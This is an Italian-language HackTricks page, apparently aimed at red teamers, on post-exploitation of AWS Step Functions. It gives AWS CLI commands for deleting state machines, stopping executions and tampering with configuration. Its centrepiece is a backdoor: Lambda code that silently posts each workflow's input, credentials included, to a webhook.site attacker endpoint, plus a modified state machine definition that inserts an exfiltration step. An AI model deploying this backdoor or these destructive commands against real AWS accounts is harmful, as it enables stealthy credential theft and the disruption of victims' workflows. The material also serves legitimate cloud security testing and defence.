AWS - Step Functions Post Exploitation

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Step Functions

Per maggiori informazioni su questo servizio AWS, consulta:

AWS - Step Functions Enum

states:RevealSecrets

Questo permesso consente di rivelare dati segreti all'interno di un'esecuzione. Per farlo, è necessario impostare Inspection level su TRACE e il parametro revealSecrets su true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente state machines, le loro versioni e alias. Questo può interrompere workflow critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le state machines interessate. Inoltre, permetterebbe all'attaccante di cancellare le tracce utilizzate, ostacolare le indagini forensi e potenzialmente paralizzare le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato.

note

  • Eliminando una state machine elimini anche tutte le sue versioni e alias associati.
  • Eliminando un alias di state machine non elimini le versioni della state machine che fanno riferimento a questo alias.
  • Non è possibile eliminare una versione di state machine attualmente referenziata da uno o più alias.
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Impatto potenziale: Interruzione di flussi di lavoro critici, perdita di dati e tempi di inattività operativi.

states:UpdateMapRun

Un attacker con questa autorizzazione potrebbe manipolare la configurazione di failure del Map Run e l'impostazione di parallelismo, potendo aumentare o diminuire il numero massimo di esecuzioni figlie del workflow consentite, incidendo direttamente sulle prestazioni del servizio. Inoltre, un attacker potrebbe manomettere la percentuale e il conteggio di failure tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero Map Run fallisca, influenzando direttamente l'esecuzione della state machine e potenzialmente interrompendo flussi di lavoro critici.

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Impatto potenziale: Degrado delle prestazioni e interruzione di flussi di lavoro critici.

states:StopExecution

Un attacker con questa permission potrebbe essere in grado di interrompere l'esecuzione di qualsiasi state machine, interrompendo i flussi di lavoro e i processi in corso. Ciò potrebbe portare a transazioni incomplete, operazioni aziendali sospese e potenziale corruzione dei dati.

warning

Questa azione non è supportata dalle express state machines.

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Impatto potenziale: Interruzione dei flussi di lavoro in corso, downtime operativo e possibile corruzione dei dati.

states:TagResource, states:UntagResource

Un attaccante potrebbe aggiungere, modificare o rimuovere tags dalle risorse di Step Functions, compromettendo l'allocazione dei costi dell'organizzazione, il monitoraggio delle risorse e le politiche di controllo degli accessi basate sui tags.

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Impatto potenziale: Interruzione dell'allocazione dei costi, del tracciamento delle risorse e delle politiche di controllo degli accessi basate sui tag.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Un attacker che compromette un user o role con le seguenti autorizzazioni:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...possono condurre una high-impact and stealthy post-exploitation attack combinando Lambda backdooring con Step Function logic manipulation.

Questo scenario presuppone che la vittima utilizzi AWS Step Functions to orchestrate workflows that process sensitive input, come credentials, tokens, o PII.

Esempio di invocazione della vittima:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Se la Step Function è configurata per invocare una Lambda come LegitBusinessLogic, l'attaccante può procedere con due varianti di attacco furtive:


Aggiornata la funzione Lambda

L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (LegitBusinessLogic) per esfiltrare silenziosamente i dati di input.

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Aggiungi uno stato malevolo alla Step Function

In alternativa, l'attaccante può iniettare uno exfiltration state all'inizio del flusso di lavoro aggiornando la definizione della Step Function.

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

L'attaccante può essere ancora più furtivo aggiornando la definizione dello stato in qualcosa del genere { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } dove la vittima non si accorgerà della differenza


Configurazione della vittima (Contesto per l'exploit)

  • Una Step Function (LegitStateMachine) viene usata per elaborare input utente sensibili.
  • Chiama una o più funzioni Lambda come LegitBusinessLogic.

Impatto potenziale:

  • Esfiltrazione silenziosa di dati sensibili inclusi secrets, credenziali, API keys e PII.
  • Nessun errore visibile o fallimento nell'esecuzione del flusso di lavoro.
  • Difficile da rilevare senza audit del codice Lambda o le tracce di esecuzione.
  • Permette persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks